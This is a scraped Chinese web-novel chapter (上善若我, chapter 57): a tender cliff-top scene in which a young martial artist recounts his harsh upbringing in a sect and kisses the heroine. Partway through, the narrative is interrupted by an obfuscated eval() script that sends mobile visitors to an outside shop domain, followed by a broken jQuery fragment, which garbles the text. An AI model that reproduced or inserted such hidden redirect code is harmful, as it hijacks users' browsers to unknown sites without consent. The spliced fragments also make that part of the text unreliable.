文趣网 > 其他小说 > 上善若我 > 57. 野鹤霜翎(陆)
    当然,长鹤的身体还是镜夕涧目前的头等大事,她没敢真扑,只是抱住了他。

    两人沿着小路走了一段很长的距离,还上了一段坡,站到崖边时,眼前景象豁然开朗。

    镜夕涧被眼前此景震慑地说不出话来。

    山崖之下的景色阔大而壮丽,中有九天瀑布倾泻而下,最下方是一片低洼的盆地,分布着村落,四面山体环绕,将其严严实实地围了起来,放眼望过一圈,竟没有可以直接下脚的地方。

    “就是……这里吗?”镜夕涧犹豫着发问,她心底忽地升起一股不妙之感,担忧地看向长鹤,“那我们该怎么下去呢?”

    下方的盆地四面环山,每一座山都有百丈之高,且极其陡峭,若非亲眼见此奇景,镜夕涧是无论如何都不会信的。

    长鹤面上流露出些许纠结的、复杂的情绪,不过不是对于她这个问题,而似是对于此处,那种极为复杂的感情。

    片刻,他回过神来,指着山间悬空的几道绳索:“从这里过去就可以了,到了对面的山上就有路了。”

    镜夕涧头皮一阵酥麻,她面上带着稍显僵硬的笑,指着两悬崖之间的那几道绳索,不死心地确认了一遍:“你是说……我们要走这几根绳子过这片悬崖,是这个意思吗?”

    “对呀,只有这一条路可以下去,一方面怕人进来,另一方面可能也怕里面的人跑了吧,啧啧,真不知道七杀门的第一任门主是怎么找到这样的地方的。”长鹤颇有些感慨。

    “可是……小鹤子,”镜夕涧的笑渐渐变得比哭还难看,“我觉得以我的武功,要是真走了这里,恐怕马上就会碎成一片一片的了。”

    老天爷!没有任何防护走两个悬崖间的绳索,下方就是万丈深渊……她觉得七杀门的门主做人真的很差劲。

    “没有关系啊,我可以带你过去。”长鹤拍了拍她的肩:“七杀门的小孩小时候每天必练的项目就是走这个,你放心,这条绳索我走过很多次,不会出错的。”

    听闻此言,镜夕涧忽然想起两人初见时,在神裂山上,长鹤抱着她轻而易举地跃上了岩壁,那时候他就说,只要身体的平衡性够强,哪怕走绳索也如履平地。

    原以为他是在夸张,没想到,竟然是写实?

    反人性……太反人性了。

    怪不得在七杀门如此低调的情况下,名号还那么响亮,如此变态,简直没有不成功的理由。

    长鹤见她还有些犹豫,也有些急了:“哎呀!真的,不骗你,而且以我的轻功,就算一不小心踩空掉下去了,也能带着你安全到达地面,夕涧,你就相信我嘛。”

    说完后,他小心翼翼地看着镜夕涧的神情,好像生怕她不信任一样,像一只可怜兮兮的小狗。

    镜夕涧瞬间被这样的眼神俘获,把心一横,什么恐惧啊理智啊统统被丢到九霄云外去了,她大手一挥:“走!现在就走!”

    “好嘞!”长鹤咧嘴一笑,露出两颗小虎牙,明亮又单纯,他弯腰将镜夕涧抱起,轻盈跃身,跳入半空。

    下方就是万丈深渊,说不紧张是假的,狂风在耳畔呼啸,镜夕涧紧紧抓着长鹤的衣袖,手心沁出了汗。

    两人于半空中下落,镜夕涧的心提到了嗓子眼,在感受到两人被一股力道稳稳托起,又再度跃起,她才松了口气。

    长鹤低头看了怀中的她一眼,轻声道:“害怕就把眼闭上,然后抱紧我,我不会让你有事的。”

    “嗯……”镜夕涧紧张地闭上了眼,将头紧紧地贴在他的胸膛上。

    长鹤抱着她在空中跃了几回,过了一阵,镜夕涧感受到一股冲击力,紧接着长鹤稳稳落到了地面上,将她放了下来。

    她脑中一片头晕目眩,双脚一接触地面,她就腿一软,跪坐在了地上。

    “你……你没事吧?”长鹤弯腰看着她,不确定道。

    回过神来,她这才发现自己正攥着长鹤的衣摆,给人家攥得皱皱巴巴,她连忙松开。

    她其实有点恐高,让她自己一个人的话,她是肯定不敢走的,可经此一行,竟然神奇地有了这样一段体验。

    “你……还起得来吗?”

    镜夕涧咬着下唇摇摇头,面色不大好看:“腿软……”

    她看着眼前的万丈深渊,心有余悸。

    “别看了别看了!”长鹤挥舞着双手替她挡住后面的悬崖,在她面前坐下,“要不要先吃点东西啊,等你休息好我们再走。”

    “是有点饿了……”被这么一提醒,镜夕涧才发现眼下日落西山,已到了该吃晚饭的时候。

    她方才面上的恐慌一扫而空,从背包里拿出两个荷叶包,递给长鹤一个:“今早买的那个烧鸡,尝尝吧,排队的时候我就觉得很好吃。”

    “嗯!”长鹤接过荷叶包,一打开,喷香的鸡肉味瞬间扑鼻而来,外皮微微带着焦黄,流出了鲜美的汤汁。

    两人累了一天,就这样坐在悬崖边连吃带啃地把一只鸡拆吃入腹了。

    吃完后,镜夕涧舔了舔嘴唇,还觉得意犹未尽,她将双腿摊开,随意地在地面上晃悠着,伸了个懒腰:“好幸福啊~”

    她双臂撑着地面,望着悬崖之外绮丽的景象,一时间出了神。

    此时夕阳西下,晚霞给整片山景渡上了一层暖光,瀑布依旧湍流不息地往下奔涌着,若此地并非七杀门的据点,倒真像个世外挑园。

    “很美吧。”一旁的长鹤也正望着远处出了神,他将手搭在撑起的右腿上,暖霞似也极为钟爱十七八岁的少年郎,停留在他的身上不肯离去。

    “每次训练完了,都会躺在悬崖边看晚霞,一直躺到星辰漫上夜空。”他的眼神空明而悠远,似是什么情绪都没有,又似囊括了古今天地。

    “那……”镜夕涧不由看着他被暖光笼罩的侧脸,看着他肩颈放松的弧度,以及他那带着淡淡忧伤的眼神,不由开口问道,“那个时候,在想什么呢?”

    “我想了很多。”他轻轻开口,像是在说一件旁人的事,“其中最多的,是质问。”

    “我质问自己,为什么要出生在这样的地方。质问天地,又为什么要创造出这样一个地方。我质问那个从未见过面的七杀门门主,质问他为什么要逼迫我们这些小孩每天过这样的日子。”

    镜夕涧的心中泛起细细密密的伤痛,她忍着情绪,轻声问道:“你得到答案了吗?”

    “没有。”长鹤毫不犹豫地开了口,“我想破了脑袋也没有得到任何答案,但某一天,就在这里。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732182|203364||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他抬手随手一划:“我接受了。”

    “我接受了一件事,那就是,我的痛苦、眼泪、彷徨、无措……这些统统都没有任何意义,没有人看得到,也没有人想看。没有人会为我受过的伤,我承受的痛苦与虐待付出代价,也不会有任何人因此而付出任何代价。”

    “接受的那一瞬间很震撼,可之后,却平静了下来。”

    “原来我那么多的痛苦,都是因为不愿意接受,可接受之后才发现,也没什么的。”

    镜夕涧怔怔地看着他,她不知晓他到底是怎样以这样平静的语态说出这些话的,可这一瞬间,她的心忽然很难受。

    长鹤却转过头来,看着她愣住了。

    “你……哭了?”

    镜夕涧一愕,抬手抹了把脸,这才发现自己面上带着湿痕,她居然连自己什么时候哭了都不知道。

    她低下头,胡乱擦着眼泪,她努力让自己显得乐观:“没有,我就是……”

    !!

    一只温热的手覆上了她的脸颊。

    是长鹤。

    她抬头怔忡地看着他,却见他正认真地看着她,像是在对待全世界最珍贵的宝物。

    自他说出那些话起,他的眼中第一次出现了情绪波动,强烈的情绪波动。

    那是强烈的震撼。

    强烈的,震彻心底的震撼。

    “这是第一次……有人为我哭……”长鹤喃喃着,看着她的眼神入了神。

    “第一次……有人看到我,为我那些地狱一样的过往哭泣。”

    镜夕涧抬手覆上了他的手背。

    长鹤瞳孔一缩,下意识想要收回,却被镜夕涧抓紧了。

    她眼中再次涌出泪水,她眼睫轻颤着,却始终不肯阖上,眼神中几乎带着乞求。

    “求求你……”

    求求你,告诉我,我不是在自作多情。

    长鹤垂眸看着她,眼中充满了痛苦与纠结,可他的声音却极致温柔:“别哭……”

    下一刻,他将她面上沾湿的发丝轻轻拨开,捧着她的脸吻了下来。

    !

    镜夕涧睁大了双眼。

    她的一切动作停滞在了原地。

    她无法掌控自己的身体,无法控制它接二连三发生的奇怪反应,无法阻止自己越来越快的心跳,一阵一阵眩晕的大脑。

    失控了。

    所有的一切,都失控了。

    山顶的风骤起,吹动了两人的衣摆与发丝,他们靠得那么那么近,好似天地间只剩下了他们二人。

    家国、仇恨、使命……好像在此刻都不重要了。

    他们的世界,唯有彼此。

    长鹤的眼角落下一滴泪,滴在了她的面上,让人分不清谁是谁的。

    ……

    耳畔呼啸的风,不知是什么时候停歇的。

    总之停歇时,他们已不知道看了对方多久。

    原来,他所想的一切糟糕的可能都没有发生。

    镜夕涧从来没有看不起他的出身,从来没有芥蒂他的过去,他残破的身体,她只是一个情窦初开的女孩,满心欢喜地等着他的回应。

    他做梦都不敢想,他喜欢的人,竟然也同他一样喜欢着自己。